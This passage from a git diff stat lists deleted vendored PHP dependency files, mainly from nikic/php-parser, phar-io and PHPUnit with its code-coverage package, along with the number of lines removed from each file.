.../lib/PhpParser/Builder/Param.php | 171 - .../lib/PhpParser/Builder/Property.php | 223 -- .../lib/PhpParser/Builder/TraitUse.php | 65 - .../PhpParser/Builder/TraitUseAdaptation.php | 145 - .../lib/PhpParser/Builder/Trait_.php | 83 - .../php-parser/lib/PhpParser/Builder/Use_.php | 49 - .../lib/PhpParser/BuilderFactory.php | 375 -- .../lib/PhpParser/BuilderHelpers.php | 338 -- .../php-parser/lib/PhpParser/Comment.php | 209 -- .../php-parser/lib/PhpParser/Comment/Doc.php | 6 - .../ConstExprEvaluationException.php | 6 - .../lib/PhpParser/ConstExprEvaluator.php | 234 -- .../nikic/php-parser/lib/PhpParser/Error.php | 173 - .../php-parser/lib/PhpParser/ErrorHandler.php | 12 - .../lib/PhpParser/ErrorHandler/Collecting.php | 43 - .../lib/PhpParser/ErrorHandler/Throwing.php | 17 - .../lib/PhpParser/Internal/DiffElem.php | 31 - .../lib/PhpParser/Internal/Differ.php | 178 - .../Internal/PrintableNewAnonClassNode.php | 71 - .../lib/PhpParser/Internal/TokenPolyfill.php | 237 -- .../lib/PhpParser/Internal/TokenStream.php | 282 -- .../php-parser/lib/PhpParser/JsonDecoder.php | 108 - .../nikic/php-parser/lib/PhpParser/Lexer.php | 116 - .../lib/PhpParser/Lexer/Emulative.php | 226 -- .../AsymmetricVisibilityTokenEmulator.php | 93 - .../Lexer/TokenEmulator/AttributeEmulator.php | 49 - .../Lexer/TokenEmulator/EnumTokenEmulator.php | 26 - .../TokenEmulator/ExplicitOctalEmulator.php | 45 - .../Lexer/TokenEmulator/KeywordEmulator.php | 60 - .../TokenEmulator/MatchTokenEmulator.php | 19 - .../TokenEmulator/NullsafeTokenEmulator.php | 60 - .../TokenEmulator/PropertyTokenEmulator.php | 19 - .../ReadonlyFunctionTokenEmulator.php | 31 - .../TokenEmulator/ReadonlyTokenEmulator.php | 31 - .../Lexer/TokenEmulator/ReverseEmulator.php | 37 - .../Lexer/TokenEmulator/TokenEmulator.php | 30 - .../php-parser/lib/PhpParser/Modifiers.php | 85 - .../php-parser/lib/PhpParser/NameContext.php | 284 -- .../nikic/php-parser/lib/PhpParser/Node.php | 150 - .../php-parser/lib/PhpParser/Node/Arg.php | 44 - .../lib/PhpParser/Node/ArrayItem.php | 43 - .../lib/PhpParser/Node/Attribute.php | 33 - .../lib/PhpParser/Node/AttributeGroup.php | 27 - .../lib/PhpParser/Node/ClosureUse.php | 36 - .../lib/PhpParser/Node/ComplexType.php | 13 - .../php-parser/lib/PhpParser/Node/Const_.php | 36 - .../lib/PhpParser/Node/DeclareItem.php | 37 - .../php-parser/lib/PhpParser/Node/Expr.php | 8 - .../lib/PhpParser/Node/Expr/ArrayDimFetch.php | 33 - .../lib/PhpParser/Node/Expr/ArrayItem.php | 11 - .../lib/PhpParser/Node/Expr/Array_.php | 34 - .../lib/PhpParser/Node/Expr/ArrowFunction.php | 84 - .../lib/PhpParser/Node/Expr/Assign.php | 33 - .../lib/PhpParser/Node/Expr/AssignOp.php | 29 - .../Node/Expr/AssignOp/BitwiseAnd.php | 11 - .../Node/Expr/AssignOp/BitwiseOr.php | 11 - .../Node/Expr/AssignOp/BitwiseXor.php | 11 - .../PhpParser/Node/Expr/AssignOp/Coalesce.php | 11 - .../PhpParser/Node/Expr/AssignOp/Concat.php | 11 - .../lib/PhpParser/Node/Expr/AssignOp/Div.php | 11 - .../PhpParser/Node/Expr/AssignOp/Minus.php | 11 - .../lib/PhpParser/Node/Expr/AssignOp/Mod.php | 11 - .../lib/PhpParser/Node/Expr/AssignOp/Mul.php | 11 - .../lib/PhpParser/Node/Expr/AssignOp/Plus.php | 11 - .../lib/PhpParser/Node/Expr/AssignOp/Pow.php | 11 - .../Node/Expr/AssignOp/ShiftLeft.php | 11 - .../Node/Expr/AssignOp/ShiftRight.php | 11 - .../lib/PhpParser/Node/Expr/AssignRef.php | 33 - .../lib/PhpParser/Node/Expr/BinaryOp.php | 37 - .../Node/Expr/BinaryOp/BitwiseAnd.php | 15 - .../Node/Expr/BinaryOp/BitwiseOr.php | 15 - .../Node/Expr/BinaryOp/BitwiseXor.php | 15 - .../Node/Expr/BinaryOp/BooleanAnd.php | 15 - .../Node/Expr/BinaryOp/BooleanOr.php | 15 - .../PhpParser/Node/Expr/BinaryOp/Coalesce.php | 15 - .../PhpParser/Node/Expr/BinaryOp/Concat.php | 15 - .../lib/PhpParser/Node/Expr/BinaryOp/Div.php | 15 - .../PhpParser/Node/Expr/BinaryOp/Equal.php | 15 - .../PhpParser/Node/Expr/BinaryOp/Greater.php | 15 - .../Node/Expr/BinaryOp/GreaterOrEqual.php | 15 - .../Node/Expr/BinaryOp/Identical.php | 15 - .../Node/Expr/BinaryOp/LogicalAnd.php | 15 - .../Node/Expr/BinaryOp/LogicalOr.php | 15 - .../Node/Expr/BinaryOp/LogicalXor.php | 15 - .../PhpParser/Node/Expr/BinaryOp/Minus.php | 15 - .../lib/PhpParser/Node/Expr/BinaryOp/Mod.php | 15 - .../lib/PhpParser/Node/Expr/BinaryOp/Mul.php | 15 - .../PhpParser/Node/Expr/BinaryOp/NotEqual.php | 15 - .../Node/Expr/BinaryOp/NotIdentical.php | 15 - .../lib/PhpParser/Node/Expr/BinaryOp/Plus.php | 15 - .../lib/PhpParser/Node/Expr/BinaryOp/Pow.php | 15 - .../Node/Expr/BinaryOp/ShiftLeft.php | 15 - .../Node/Expr/BinaryOp/ShiftRight.php | 15 - .../PhpParser/Node/Expr/BinaryOp/Smaller.php | 15 - .../Node/Expr/BinaryOp/SmallerOrEqual.php | 15 - .../Node/Expr/BinaryOp/Spaceship.php | 15 - .../lib/PhpParser/Node/Expr/BitwiseNot.php | 29 - .../lib/PhpParser/Node/Expr/BooleanNot.php | 29 - .../lib/PhpParser/Node/Expr/CallLike.php | 35 - .../lib/PhpParser/Node/Expr/Cast.php | 25 - .../lib/PhpParser/Node/Expr/Cast/Array_.php | 11 - .../lib/PhpParser/Node/Expr/Cast/Bool_.php | 11 - .../lib/PhpParser/Node/Expr/Cast/Double.php | 16 - .../lib/PhpParser/Node/Expr/Cast/Int_.php | 11 - .../lib/PhpParser/Node/Expr/Cast/Object_.php | 11 - .../lib/PhpParser/Node/Expr/Cast/String_.php | 11 - .../lib/PhpParser/Node/Expr/Cast/Unset_.php | 11 - .../PhpParser/Node/Expr/ClassConstFetch.php | 36 - .../lib/PhpParser/Node/Expr/Clone_.php | 29 - .../lib/PhpParser/Node/Expr/Closure.php | 86 - .../lib/PhpParser/Node/Expr/ClosureUse.php | 11 - .../lib/PhpParser/Node/Expr/ConstFetch.php | 30 - .../lib/PhpParser/Node/Expr/Empty_.php | 29 - .../lib/PhpParser/Node/Expr/Error.php | 30 - .../lib/PhpParser/Node/Expr/ErrorSuppress.php | 29 - .../lib/PhpParser/Node/Expr/Eval_.php | 29 - .../lib/PhpParser/Node/Expr/Exit_.php | 33 - .../lib/PhpParser/Node/Expr/FuncCall.php | 38 - .../lib/PhpParser/Node/Expr/Include_.php | 38 - .../lib/PhpParser/Node/Expr/Instanceof_.php | 35 - .../lib/PhpParser/Node/Expr/Isset_.php | 29 - .../lib/PhpParser/Node/Expr/List_.php | 34 - .../lib/PhpParser/Node/Expr/Match_.php | 32 - .../lib/PhpParser/Node/Expr/MethodCall.php | 45 - .../lib/PhpParser/Node/Expr/New_.php | 40 - .../Node/Expr/NullsafeMethodCall.php | 45 - .../Node/Expr/NullsafePropertyFetch.php | 35 - .../lib/PhpParser/Node/Expr/PostDec.php | 29 - .../lib/PhpParser/Node/Expr/PostInc.php | 29 - .../lib/PhpParser/Node/Expr/PreDec.php | 29 - .../lib/PhpParser/Node/Expr/PreInc.php | 29 - .../lib/PhpParser/Node/Expr/Print_.php | 29 - .../lib/PhpParser/Node/Expr/PropertyFetch.php | 35 - .../lib/PhpParser/Node/Expr/ShellExec.php | 30 - .../lib/PhpParser/Node/Expr/StaticCall.php | 45 - .../Node/Expr/StaticPropertyFetch.php | 36 - .../lib/PhpParser/Node/Expr/Ternary.php | 37 - .../lib/PhpParser/Node/Expr/Throw_.php | 29 - .../lib/PhpParser/Node/Expr/UnaryMinus.php | 29 - .../lib/PhpParser/Node/Expr/UnaryPlus.php | 29 - .../lib/PhpParser/Node/Expr/Variable.php | 29 - .../lib/PhpParser/Node/Expr/YieldFrom.php | 29 - .../lib/PhpParser/Node/Expr/Yield_.php | 33 - .../lib/PhpParser/Node/FunctionLike.php | 40 - .../lib/PhpParser/Node/Identifier.php | 85 - .../PhpParser/Node/InterpolatedStringPart.php | 32 - .../lib/PhpParser/Node/IntersectionType.php | 27 - .../lib/PhpParser/Node/MatchArm.php | 30 - .../php-parser/lib/PhpParser/Node/Name.php | 278 -- .../PhpParser/Node/Name/FullyQualified.php | 49 - .../lib/PhpParser/Node/Name/Relative.php | 49 - .../lib/PhpParser/Node/NullableType.php | 29 - .../php-parser/lib/PhpParser/Node/Param.php | 119 - .../lib/PhpParser/Node/PropertyHook.php | 105 - .../lib/PhpParser/Node/PropertyItem.php | 37 - .../php-parser/lib/PhpParser/Node/Scalar.php | 6 - .../lib/PhpParser/Node/Scalar/DNumber.php | 11 - .../lib/PhpParser/Node/Scalar/Encapsed.php | 11 - .../Node/Scalar/EncapsedStringPart.php | 13 - .../lib/PhpParser/Node/Scalar/Float_.php | 78 - .../lib/PhpParser/Node/Scalar/Int_.php | 82 - .../Node/Scalar/InterpolatedString.php | 34 - .../lib/PhpParser/Node/Scalar/LNumber.php | 11 - .../lib/PhpParser/Node/Scalar/MagicConst.php | 27 - .../Node/Scalar/MagicConst/Class_.php | 15 - .../PhpParser/Node/Scalar/MagicConst/Dir.php | 15 - .../PhpParser/Node/Scalar/MagicConst/File.php | 15 - .../Node/Scalar/MagicConst/Function_.php | 15 - .../PhpParser/Node/Scalar/MagicConst/Line.php | 15 - .../Node/Scalar/MagicConst/Method.php | 15 - .../Node/Scalar/MagicConst/Namespace_.php | 15 - .../Node/Scalar/MagicConst/Property.php | 15 - .../Node/Scalar/MagicConst/Trait_.php | 15 - .../lib/PhpParser/Node/Scalar/String_.php | 161 - .../lib/PhpParser/Node/StaticVar.php | 39 - .../php-parser/lib/PhpParser/Node/Stmt.php | 8 - .../lib/PhpParser/Node/Stmt/Block.php | 29 - .../lib/PhpParser/Node/Stmt/Break_.php | 29 - .../lib/PhpParser/Node/Stmt/Case_.php | 33 - .../lib/PhpParser/Node/Stmt/Catch_.php | 40 - .../lib/PhpParser/Node/Stmt/ClassConst.php | 77 - .../lib/PhpParser/Node/Stmt/ClassLike.php | 109 - .../lib/PhpParser/Node/Stmt/ClassMethod.php | 154 - .../lib/PhpParser/Node/Stmt/Class_.php | 94 - .../lib/PhpParser/Node/Stmt/Const_.php | 29 - .../lib/PhpParser/Node/Stmt/Continue_.php | 29 - .../PhpParser/Node/Stmt/DeclareDeclare.php | 13 - .../lib/PhpParser/Node/Stmt/Declare_.php | 34 - .../lib/PhpParser/Node/Stmt/Do_.php | 33 - .../lib/PhpParser/Node/Stmt/Echo_.php | 29 - .../lib/PhpParser/Node/Stmt/ElseIf_.php | 33 - .../lib/PhpParser/Node/Stmt/Else_.php | 29 - .../lib/PhpParser/Node/Stmt/EnumCase.php | 36 - .../lib/PhpParser/Node/Stmt/Enum_.php | 44 - .../lib/PhpParser/Node/Stmt/Expression.php | 32 - .../lib/PhpParser/Node/Stmt/Finally_.php | 29 - .../lib/PhpParser/Node/Stmt/For_.php | 47 - .../lib/PhpParser/Node/Stmt/Foreach_.php | 50 - .../lib/PhpParser/Node/Stmt/Function_.php | 81 - .../lib/PhpParser/Node/Stmt/Global_.php | 29 - .../lib/PhpParser/Node/Stmt/Goto_.php | 30 - .../lib/PhpParser/Node/Stmt/GroupUse.php | 41 - .../lib/PhpParser/Node/Stmt/HaltCompiler.php | 29 - .../lib/PhpParser/Node/Stmt/If_.php | 46 - .../lib/PhpParser/Node/Stmt/InlineHTML.php | 29 - .../lib/PhpParser/Node/Stmt/Interface_.php | 40 - .../lib/PhpParser/Node/Stmt/Label.php | 30 - .../lib/PhpParser/Node/Stmt/Namespace_.php | 37 - .../lib/PhpParser/Node/Stmt/Nop.php | 16 - .../lib/PhpParser/Node/Stmt/Property.php | 121 - .../PhpParser/Node/Stmt/PropertyProperty.php | 13 - .../lib/PhpParser/Node/Stmt/Return_.php | 29 - .../lib/PhpParser/Node/Stmt/StaticVar.php | 11 - .../lib/PhpParser/Node/Stmt/Static_.php | 30 - .../lib/PhpParser/Node/Stmt/Switch_.php | 33 - .../lib/PhpParser/Node/Stmt/TraitUse.php | 33 - .../Node/Stmt/TraitUseAdaptation.php | 12 - .../Node/Stmt/TraitUseAdaptation/Alias.php | 37 - .../Stmt/TraitUseAdaptation/Precedence.php | 33 - .../lib/PhpParser/Node/Stmt/Trait_.php | 34 - .../lib/PhpParser/Node/Stmt/TryCatch.php | 37 - .../lib/PhpParser/Node/Stmt/Unset_.php | 29 - .../lib/PhpParser/Node/Stmt/UseUse.php | 13 - .../lib/PhpParser/Node/Stmt/Use_.php | 47 - .../lib/PhpParser/Node/Stmt/While_.php | 33 - .../lib/PhpParser/Node/UnionType.php | 27 - .../php-parser/lib/PhpParser/Node/UseItem.php | 55 - .../lib/PhpParser/Node/VarLikeIdentifier.php | 16 - .../PhpParser/Node/VariadicPlaceholder.php | 27 - .../php-parser/lib/PhpParser/NodeAbstract.php | 181 - .../php-parser/lib/PhpParser/NodeDumper.php | 299 -- .../php-parser/lib/PhpParser/NodeFinder.php | 90 - .../lib/PhpParser/NodeTraverser.php | 287 -- .../lib/PhpParser/NodeTraverserInterface.php | 26 - .../php-parser/lib/PhpParser/NodeVisitor.php | 124 - .../PhpParser/NodeVisitor/CloningVisitor.php | 19 - .../NodeVisitor/CommentAnnotatingVisitor.php | 82 - .../PhpParser/NodeVisitor/FindingVisitor.php | 47 - .../NodeVisitor/FirstFindingVisitor.php | 49 - .../PhpParser/NodeVisitor/NameResolver.php | 268 -- .../NodeVisitor/NodeConnectingVisitor.php | 51 - .../NodeVisitor/ParentConnectingVisitor.php | 38 - .../lib/PhpParser/NodeVisitorAbstract.php | 24 - .../nikic/php-parser/lib/PhpParser/Parser.php | 24 - .../php-parser/lib/PhpParser/Parser/Php7.php | 2792 --------------- .../php-parser/lib/PhpParser/Parser/Php8.php | 2790 --------------- .../lib/PhpParser/ParserAbstract.php | 1286 ------- .../lib/PhpParser/ParserFactory.php | 42 - .../php-parser/lib/PhpParser/PhpVersion.php | 164 - .../lib/PhpParser/PrettyPrinter.php | 51 - .../lib/PhpParser/PrettyPrinter/Standard.php | 1192 ------- .../lib/PhpParser/PrettyPrinterAbstract.php | 1693 --------- .../nikic/php-parser/lib/PhpParser/Token.php | 18 - .../lib/PhpParser/compatibility_tokens.php | 68 - .../phar-io/manifest/.github/FUNDING.yml | 3 - .../phar-io/manifest/.github/workflows/ci.yml | 86 - .../phar-io/manifest/.php-cs-fixer.dist.php | 223 -- .../vendor/phar-io/manifest/CHANGELOG.md | 45 - .../vendor/phar-io/manifest/LICENSE | 31 - .../vendor/phar-io/manifest/README.md | 178 - .../vendor/phar-io/manifest/composer.json | 43 - .../vendor/phar-io/manifest/composer.lock | 76 - .../vendor/phar-io/manifest/manifest.xsd | 116 - .../manifest/src/ManifestDocumentMapper.php | 151 - .../phar-io/manifest/src/ManifestLoader.php | 47 - .../manifest/src/ManifestSerializer.php | 172 - .../exceptions/ElementCollectionException.php | 16 - .../manifest/src/exceptions/Exception.php | 16 - .../InvalidApplicationNameException.php | 17 - .../src/exceptions/InvalidEmailException.php | 16 - .../src/exceptions/InvalidUrlException.php | 16 - .../exceptions/ManifestDocumentException.php | 16 - .../ManifestDocumentLoadingException.php | 47 - .../ManifestDocumentMapperException.php | 16 - .../exceptions/ManifestElementException.php | 16 - .../exceptions/ManifestLoaderException.php | 14 - .../exceptions/NoEmailAddressException.php | 16 - .../manifest/src/values/Application.php | 17 - .../manifest/src/values/ApplicationName.php | 41 - .../phar-io/manifest/src/values/Author.php | 57 - .../manifest/src/values/AuthorCollection.php | 40 - .../src/values/AuthorCollectionIterator.php | 47 - .../manifest/src/values/BundledComponent.php | 34 - .../src/values/BundledComponentCollection.php | 40 - .../BundledComponentCollectionIterator.php | 47 - .../src/values/CopyrightInformation.php | 32 - .../phar-io/manifest/src/values/Email.php | 35 - .../phar-io/manifest/src/values/Extension.php | 47 - .../phar-io/manifest/src/values/Library.php | 17 - .../phar-io/manifest/src/values/License.php | 32 - .../phar-io/manifest/src/values/Manifest.php | 93 - .../src/values/PhpExtensionRequirement.php | 24 - .../src/values/PhpVersionRequirement.php | 26 - .../manifest/src/values/Requirement.php | 14 - .../src/values/RequirementCollection.php | 40 - .../values/RequirementCollectionIterator.php | 47 - .../phar-io/manifest/src/values/Type.php | 42 - .../phar-io/manifest/src/values/Url.php | 38 - .../manifest/src/xml/AuthorElement.php | 25 - .../src/xml/AuthorElementCollection.php | 19 - .../manifest/src/xml/BundlesElement.php | 19 - .../manifest/src/xml/ComponentElement.php | 21 - .../src/xml/ComponentElementCollection.php | 19 - .../manifest/src/xml/ContainsElement.php | 31 - .../manifest/src/xml/CopyrightElement.php | 25 - .../manifest/src/xml/ElementCollection.php | 68 - .../phar-io/manifest/src/xml/ExtElement.php | 17 - .../manifest/src/xml/ExtElementCollection.php | 19 - .../manifest/src/xml/ExtensionElement.php | 21 - .../manifest/src/xml/LicenseElement.php | 21 - .../manifest/src/xml/ManifestDocument.php | 115 - .../manifest/src/xml/ManifestElement.php | 72 - .../phar-io/manifest/src/xml/PhpElement.php | 27 - .../manifest/src/xml/RequiresElement.php | 19 - .../PhpdocSingleLineVarFixer.php | 72 - .../manifest/tools/php-cs-fixer.d/header.txt | 6 - .../vendor/phar-io/version/CHANGELOG.md | 142 - .../vendor/phar-io/version/LICENSE | 29 - .../vendor/phar-io/version/README.md | 61 - .../vendor/phar-io/version/composer.json | 34 - .../phar-io/version/src/BuildMetaData.php | 28 - .../phar-io/version/src/PreReleaseSuffix.php | 82 - .../vendor/phar-io/version/src/Version.php | 208 -- .../version/src/VersionConstraintParser.php | 115 - .../version/src/VersionConstraintValue.php | 88 - .../phar-io/version/src/VersionNumber.php | 28 - .../constraints/AbstractVersionConstraint.php | 23 - .../constraints/AndVersionConstraintGroup.php | 34 - .../src/constraints/AnyVersionConstraint.php | 20 - .../constraints/ExactVersionConstraint.php | 22 - .../GreaterThanOrEqualToVersionConstraint.php | 26 - .../constraints/OrVersionConstraintGroup.php | 35 - ...SpecificMajorAndMinorVersionConstraint.php | 33 - .../SpecificMajorVersionConstraint.php | 25 - .../src/constraints/VersionConstraint.php | 16 - .../version/src/exceptions/Exception.php | 15 - .../InvalidPreReleaseSuffixException.php | 5 - .../exceptions/InvalidVersionException.php | 5 - .../exceptions/NoBuildMetaDataException.php | 5 - .../NoPreReleaseSuffixException.php | 5 - .../UnsupportedVersionConstraintException.php | 13 - .../php-code-coverage/ChangeLog-9.2.md | 584 ---- .../vendor/phpunit/php-code-coverage/LICENSE | 29 - .../phpunit/php-code-coverage/README.md | 48 - .../build/scripts/extract-release-notes.php | 47 - .../phpunit/php-code-coverage/composer.json | 69 - .../php-code-coverage/src/CodeCoverage.php | 709 ---- .../php-code-coverage/src/Driver/Driver.php | 167 - .../src/Driver/PcovDriver.php | 75 - .../src/Driver/PhpdbgDriver.php | 93 - .../php-code-coverage/src/Driver/Selector.php | 79 - .../src/Driver/Xdebug2Driver.php | 128 - .../src/Driver/Xdebug3Driver.php | 119 - ...chAndPathCoverageNotSupportedException.php | 16 - ...DeadCodeDetectionNotSupportedException.php | 16 - .../DirectoryCouldNotBeCreatedException.php | 17 - .../src/Exception/Exception.php | 16 - .../Exception/InvalidArgumentException.php | 14 - ...NoCodeCoverageDriverAvailableException.php | 20 - ...hPathCoverageSupportAvailableException.php | 20 - .../src/Exception/ParserException.php | 16 - .../PathExistsButIsNotDirectoryException.php | 22 - .../Exception/PcovNotAvailableException.php | 21 - .../Exception/PhpdbgNotAvailableException.php | 21 - .../src/Exception/ReflectionException.php | 16 - .../ReportAlreadyFinalizedException.php | 20 - ...ticAnalysisCacheNotConfiguredException.php | 16 - .../src/Exception/TestIdMissingException.php | 20 - .../UnintentionallyCoveredCodeException.php | 43 - .../WriteOperationFailedException.php | 22 - .../Exception/WrongXdebugVersionException.php | 17 - .../Exception/Xdebug2NotEnabledException.php | 21 - .../Exception/Xdebug3NotEnabledException.php | 21 - .../Exception/XdebugNotAvailableException.php | 21 - .../src/Exception/XmlException.php | 16 - .../phpunit/php-code-coverage/src/Filter.php | 118 - .../src/Node/AbstractNode.php | 253 -- .../php-code-coverage/src/Node/Builder.php | 264 -- .../php-code-coverage/src/Node/CrapIndex.php | 50 - .../php-code-coverage/src/Node/Directory.php | 440 --- .../php-code-coverage/src/Node/File.php | 651 ---- .../php-code-coverage/src/Node/Iterator.php | 90 - .../src/ProcessedCodeCoverageData.php | 255 -- .../src/RawCodeCoverageData.php | 274 -- .../php-code-coverage/src/Report/Clover.php | 258 -- .../src/Report/Cobertura.php | 309 -- .../php-code-coverage/src/Report/Crap4j.php | 156 - .../src/Report/Html/Facade.php | 147 - .../src/Report/Html/Renderer.php | 314 -- .../src/Report/Html/Renderer/Dashboard.php | 288 -- .../src/Report/Html/Renderer/Directory.php | 113 - .../src/Report/Html/Renderer/File.php | 1162 ------- .../Html/Renderer/Template/branches.html.dist | 9 - .../Renderer/Template/coverage_bar.html.dist | 5 - .../Template/coverage_bar_branch.html.dist | 5 - .../Renderer/Template/css/bootstrap.min.css | 7 - .../Html/Renderer/Template/css/custom.css | 0 .../Html/Renderer/Template/css/nv.d3.min.css | 1 - .../Html/Renderer/Template/css/octicons.css | 5 - .../Html/Renderer/Template/css/style.css | 158 - .../Renderer/Template/dashboard.html.dist | 281 -- .../Template/dashboard_branch.html.dist | 281 -- .../Renderer/Template/directory.html.dist | 60 - .../Template/directory_branch.html.dist | 62 - .../Template/directory_item.html.dist | 13 - .../Template/directory_item_branch.html.dist | 19 - .../Html/Renderer/Template/file.html.dist | 65 - .../Renderer/Template/file_branch.html.dist | 67 - .../Renderer/Template/file_item.html.dist | 14 - .../Template/file_item_branch.html.dist | 20 - .../Renderer/Template/icons/file-code.svg | Bin 128 -> 0 bytes .../Template/icons/file-directory.svg | Bin 128 -> 0 bytes .../Renderer/Template/js/bootstrap.min.js | 7 - .../Html/Renderer/Template/js/d3.min.js | 5 - .../Report/Html/Renderer/Template/js/file.js | 62 - .../Html/Renderer/Template/js/jquery.min.js | 2 - .../Html/Renderer/Template/js/nv.d3.min.js | 8 - .../Html/Renderer/Template/js/popper.min.js | 5 - .../Html/Renderer/Template/line.html.dist | 1 - .../Html/Renderer/Template/lines.html.dist | 5 - .../Renderer/Template/method_item.html.dist | 12 - .../Template/method_item_branch.html.dist | 18 - .../Html/Renderer/Template/paths.html.dist | 9 - .../php-code-coverage/src/Report/PHP.php | 41 - .../php-code-coverage/src/Report/Text.php | 341 -- .../src/Report/Xml/BuildInformation.php | 88 - .../src/Report/Xml/Coverage.php | 74 - .../src/Report/Xml/Directory.php | 17 - .../src/Report/Xml/Facade.php | 315 -- .../php-code-coverage/src/Report/Xml/File.php | 87 - .../src/Report/Xml/Method.php | 61 - .../php-code-coverage/src/Report/Xml/Node.php | 93 - .../src/Report/Xml/Project.php | 90 - .../src/Report/Xml/Report.php | 99 - .../src/Report/Xml/Source.php | 42 - .../src/Report/Xml/Tests.php | 50 - .../src/Report/Xml/Totals.php | 146 - .../php-code-coverage/src/Report/Xml/Unit.php | 78 - .../src/StaticAnalysis/CacheWarmer.php | 32 - .../StaticAnalysis/CachingFileAnalyser.php | 209 -- .../StaticAnalysis/CodeUnitFindingVisitor.php | 345 -- .../ExecutableLinesFindingVisitor.php | 390 --- .../src/StaticAnalysis/FileAnalyser.php | 31 - .../IgnoredLinesFindingVisitor.php | 119 - .../StaticAnalysis/ParsingFileAnalyser.php | 249 -- .../php-code-coverage/src/Util/Filesystem.php | 37 - .../php-code-coverage/src/Util/Percentage.php | 66 - .../phpunit/php-code-coverage/src/Version.php | 30 - .../php-file-iterator/.psalm/baseline.xml | 8 - .../php-file-iterator/.psalm/config.xml | 16 - .../phpunit/php-file-iterator/ChangeLog.md | 144 - .../vendor/phpunit/php-file-iterator/LICENSE | 33 - .../phpunit/php-file-iterator/README.md | 14 - .../phpunit/php-file-iterator/composer.json | 45 - .../phpunit/php-file-iterator/src/Facade.php | 115 - .../phpunit/php-file-iterator/src/Factory.php | 91 - .../php-file-iterator/src/Iterator.php | 119 - .../vendor/phpunit/php-invoker/ChangeLog.md | 48 - .../vendor/phpunit/php-invoker/LICENSE | 33 - .../vendor/phpunit/php-invoker/README.md | 18 - .../vendor/phpunit/php-invoker/composer.json | 54 - .../phpunit/php-invoker/src/Invoker.php | 69 - .../php-invoker/src/exceptions/Exception.php | 16 - ...cessControlExtensionNotLoadedException.php | 16 - .../src/exceptions/TimeoutException.php | 16 - .../php-text-template/.psalm/baseline.xml | 2 - .../php-text-template/.psalm/config.xml | 16 - .../phpunit/php-text-template/ChangeLog.md | 43 - .../vendor/phpunit/php-text-template/LICENSE | 33 - .../phpunit/php-text-template/README.md | 12 - .../phpunit/php-text-template/composer.json | 43 - .../php-text-template/src/Template.php | 107 - .../src/exceptions/Exception.php | 16 - .../exceptions/InvalidArgumentException.php | 14 - .../src/exceptions/RuntimeException.php | 16 - .../phpunit/php-timer/.psalm/baseline.xml | 2 - .../phpunit/php-timer/.psalm/config.xml | 16 - .../vendor/phpunit/php-timer/ChangeLog.md | 138 - .../vendor/phpunit/php-timer/LICENSE | 33 - .../vendor/phpunit/php-timer/README.md | 104 - .../vendor/phpunit/php-timer/composer.json | 45 - .../vendor/phpunit/php-timer/src/Duration.php | 109 - .../php-timer/src/ResourceUsageFormatter.php | 73 - .../vendor/phpunit/php-timer/src/Timer.php | 40 - .../php-timer/src/exceptions/Exception.php | 16 - .../src/exceptions/NoActiveTimerException.php | 16 - ...nceStartOfRequestNotAvailableException.php | 16 - .../vendor/phpunit/phpunit/ChangeLog-9.6.md | 187 - .../vendor/phpunit/phpunit/DEPRECATIONS.md | 89 - .../vendor/phpunit/phpunit/LICENSE | 29 - .../vendor/phpunit/phpunit/README.md | 35 - .../vendor/phpunit/phpunit/SECURITY.md | 33 - .../vendor/phpunit/phpunit/composer.json | 90 - .../vendor/phpunit/phpunit/composer.lock | 1666 --------- .../vendor/phpunit/phpunit/phpunit | 107 - .../vendor/phpunit/phpunit/phpunit.xsd | 330 -- .../vendor/phpunit/phpunit/schema/8.5.xsd | 319 -- .../vendor/phpunit/phpunit/schema/9.0.xsd | 315 -- .../vendor/phpunit/phpunit/schema/9.1.xsd | 317 -- .../vendor/phpunit/phpunit/schema/9.2.xsd | 317 -- .../vendor/phpunit/phpunit/schema/9.3.xsd | 327 -- .../vendor/phpunit/phpunit/schema/9.4.xsd | 328 -- .../vendor/phpunit/phpunit/schema/9.5.xsd | 330 -- .../vendor/phpunit/phpunit/src/Exception.php | 19 - .../phpunit/phpunit/src/Framework/Assert.php | 2963 ---------------- .../src/Framework/Assert/Functions.php | 3079 ----------------- .../Framework/Constraint/Boolean/IsFalse.php | 35 - .../Framework/Constraint/Boolean/IsTrue.php | 35 - .../src/Framework/Constraint/Callback.php | 52 - .../Constraint/Cardinality/Count.php | 142 - .../Constraint/Cardinality/GreaterThan.php | 52 - .../Constraint/Cardinality/IsEmpty.php | 70 - .../Constraint/Cardinality/LessThan.php | 52 - .../Constraint/Cardinality/SameSize.php | 21 - .../src/Framework/Constraint/Constraint.php | 270 -- .../Framework/Constraint/Equality/IsEqual.php | 137 - .../Equality/IsEqualCanonicalizing.php | 109 - .../Equality/IsEqualIgnoringCase.php | 109 - .../Constraint/Equality/IsEqualWithDelta.php | 101 - .../Constraint/Exception/Exception.php | 85 - .../Constraint/Exception/ExceptionCode.php | 68 - .../Constraint/Exception/ExceptionMessage.php | 78 - .../ExceptionMessageRegularExpression.php | 74 - .../Constraint/Filesystem/DirectoryExists.php | 54 - .../Constraint/Filesystem/FileExists.php | 54 - .../Constraint/Filesystem/IsReadable.php | 54 - .../Constraint/Filesystem/IsWritable.php | 54 - .../src/Framework/Constraint/IsAnything.php | 51 - .../src/Framework/Constraint/IsIdentical.php | 127 - .../src/Framework/Constraint/JsonMatches.php | 110 - .../JsonMatchesErrorMessageProvider.php | 78 - .../Framework/Constraint/Math/IsFinite.php | 37 - .../Framework/Constraint/Math/IsInfinite.php | 37 - .../src/Framework/Constraint/Math/IsNan.php | 37 - .../Constraint/Object/ClassHasAttribute.php | 90 - .../Object/ClassHasStaticAttribute.php | 61 - .../Constraint/Object/ObjectEquals.php | 151 - .../Constraint/Object/ObjectHasAttribute.php | 31 - .../Constraint/Object/ObjectHasProperty.php | 84 - .../Constraint/Operator/BinaryOperator.php | 148 - .../Constraint/Operator/LogicalAnd.php | 51 - .../Constraint/Operator/LogicalNot.php | 143 - .../Constraint/Operator/LogicalOr.php | 51 - .../Constraint/Operator/LogicalXor.php | 63 - .../Constraint/Operator/Operator.php | 55 - .../Constraint/Operator/UnaryOperator.php | 141 - .../Framework/Constraint/String/IsJson.php | 78 - .../Constraint/String/RegularExpression.php | 51 - .../Constraint/String/StringContains.php | 85 - .../Constraint/String/StringEndsWith.php | 48 - .../String/StringMatchesFormatDescription.php | 109 - .../Constraint/String/StringStartsWith.php | 52 - .../Constraint/Traversable/ArrayHasKey.php | 78 - .../Traversable/TraversableContains.php | 64 - .../Traversable/TraversableContainsEqual.php | 40 - .../TraversableContainsIdentical.php | 39 - .../Traversable/TraversableContainsOnly.php | 93 - .../Constraint/Type/IsInstanceOf.php | 88 - 